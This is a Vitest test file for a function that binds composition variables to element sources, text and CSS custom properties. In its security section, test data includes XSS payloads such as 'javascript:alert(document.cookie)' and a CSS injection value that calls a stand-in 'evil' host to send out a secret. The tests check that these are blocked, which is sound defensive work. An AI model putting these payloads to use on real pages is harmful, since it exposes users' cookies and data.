/** * @vitest-environment jsdom */ import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; import { applyVariableBindings } from "./applyVariableBindings"; import { getVariables } from "./getVariables"; type TestWindow = Window & { __hfVariables?: unknown; __hfVariablesByComp?: Record>; __hyperframes?: { getVariables?: () => Record }; }; const win = window as TestWindow; beforeEach(() => { win.__hyperframes = { getVariables }; }); afterEach(() => { delete win.__hfVariables; delete win.__hfVariablesByComp; delete win.__hyperframes; document.documentElement.removeAttribute("data-composition-variables"); document.body.innerHTML = ""; }); function setDeclared(decls: unknown[]): void { document.documentElement.setAttribute("data-composition-variables", JSON.stringify(decls)); } describe("applyVariableBindings", () => { it("sets src from a string variable via data-var-src", () => { setDeclared([{ id: "hero", type: "image", label: "Hero", default: "default.jpg" }]); document.body.innerHTML = `
`; applyVariableBindings(document); expect(document.getElementById("img")?.getAttribute("src")).toBe("default.jpg"); }); it("render-time overrides win, and {url} image values resolve", () => { setDeclared([{ id: "hero", type: "image", label: "Hero", default: "default.jpg" }]); win.__hfVariables = { hero: { url: "https://cdn/override.png" } }; document.body.innerHTML = `
`; applyVariableBindings(document); expect(document.querySelector("video")?.getAttribute("src")).toBe("https://cdn/override.png"); }); it("keeps the authored src when the variable resolves to nothing", () => { document.body.innerHTML = `
`; applyVariableBindings(document); expect(document.querySelector("img")?.getAttribute("src")).toBe("keep.jpg"); }); it("sets text content from a scalar via data-var-text", () => { setDeclared([{ id: "title", type: "string", label: "Title", default: "Hello" }]); win.__hfVariables = { title: "Overridden" }; document.body.innerHTML = `

Authored

`; applyVariableBindings(document); expect(document.querySelector("h1")?.textContent).toBe("Overridden"); }); it("applies scalar variables as --{id} custom props on the root", () => { setDeclared([ { id: "accent", type: "color", label: "Accent", default: "#00C3FF" }, { id: "count", type: "number", label: "Count", default: 3 }, ]); win.__hfVariables = { accent: "#ff0000" }; document.body.innerHTML = `
`; applyVariableBindings(document); const root = document.getElementById("root"); expect(root?.style.getPropertyValue("--accent")).toBe("#ff0000"); expect(root?.style.getPropertyValue("--count")).toBe("3"); }); it("applies a font value's family name, and skips other objects", () => { win.__hfVariables = { brandFont: { name: "Inter", source: "https://fonts" }, img: { url: "x" }, }; document.body.innerHTML = `
`; applyVariableBindings(document); const root = document.getElementById("root"); expect(root?.style.getPropertyValue("--brandFont")).toBe("Inter"); expect(root?.style.getPropertyValue("--img")).toBe(""); }); it("preserves element children when binding text on a container", () => { win.__hfVariables = { title: "Replaced" }; document.body.innerHTML = `

Hello world

`; applyVariableBindings(document); const h1 = document.querySelector("h1"); expect(document.getElementById("kid")?.textContent).toBe("world"); expect(h1?.childNodes[0]?.nodeValue).toBe("Replaced"); }); it("a re-apply leaves bound text a script split into glyph spans as one copy", () => { win.__hfVariables = { title: "Hi" }; document.body.innerHTML = `

Hi

`; applyVariableBindings(document); const h1 = document.querySelector("h1")!; h1.replaceChildren( ...[...h1.textContent!].map((c) => Object.assign(document.createElement("span"), { textContent: c }), ), ); applyVariableBindings(document); expect(h1.textContent).toBe("Hi"); expect(h1.childElementCount).toBe(2); }); it("is idempotent across re-application (loader re-apply path)", () => { win.__hfVariables = { title: "Once" }; document.body.innerHTML = `

t

`; applyVariableBindings(document); applyVariableBindings(document); expect(document.querySelector("h1")?.textContent).toBe("Once"); }); it("resolves sub-composition elements against their scoped values", () => { win.__hfVariablesByComp = { sub: { label: "Scoped" } }; win.__hfVariables = { label: "TopLevel" }; document.body.innerHTML = `

t

s

`; applyVariableBindings(document); expect(document.getElementById("inner")?.textContent).toBe("Scoped"); expect(document.getElementById("top")?.textContent).toBe("TopLevel"); }); describe("security", () => { it("refuses data-var-src on a non-media tag (XSS sink)", () => { win.__hfVariables = { evil: "javascript:alert(document.cookie)" }; document.body.innerHTML = `
`; applyVariableBindings(document); // No src written — the iframe can't be turned into a javascript: executor. expect(document.getElementById("f")?.hasAttribute("src")).toBe(false); }); it("refuses an unsafe URL protocol even on an allowed media tag", () => { win.__hfVariables = { evil: "javascript:alert(1)", data: "data:text/html,", }; document.body.innerHTML = `
`; applyVariableBindings(document); // Authored src preserved; the unsafe value is not applied. expect(document.getElementById("a")?.getAttribute("src")).toBe("keep.jpg"); expect(document.getElementById("b")?.getAttribute("src")).toBe("keep.mp4"); }); it("allows https, blob, relative, and image data: URLs on media tags", () => { win.__hfVariables = { https: "https://cdn/x.png", rel: "./local.png", img: "data:image/png;base64,AAAA", }; document.body.innerHTML = `
`; applyVariableBindings(document); expect(document.getElementById("h")?.getAttribute("src")).toBe("https://cdn/x.png"); expect(document.getElementById("r")?.getAttribute("src")).toBe("./local.png"); expect(document.getElementById("d")?.getAttribute("src")).toBe("data:image/png;base64,AAAA"); }); it("strips declaration-smuggling characters from a CSS custom property value", () => { setDeclared([{ id: "accent", type: "string", label: "Accent", default: "red" }]); win.__hfVariables = { accent: "red; background: url(//evil?data=secret)" }; document.body.innerHTML = `
`; applyVariableBindings(document); const css = document.getElementById("root")?.style.getPropertyValue("--accent") ?? ""; expect(css).not.toContain(";"); expect(css).not.toContain("{"); expect(css).not.toContain("<"); }); }); }); describe("applyVariableBindings media src", () => { it("leaves an unchanged src alone, since rewriting it restarts the media's load", () => { setDeclared([{ id: "clip", type: "string", label: "Clip", default: "clip.mp4" }]); document.body.innerHTML = ''; const video = document.querySelector("video")!; const writes = vi.spyOn(video, "setAttribute"); applyVariableBindings(document); expect(writes).not.toHaveBeenCalledWith("src", expect.anything()); }); });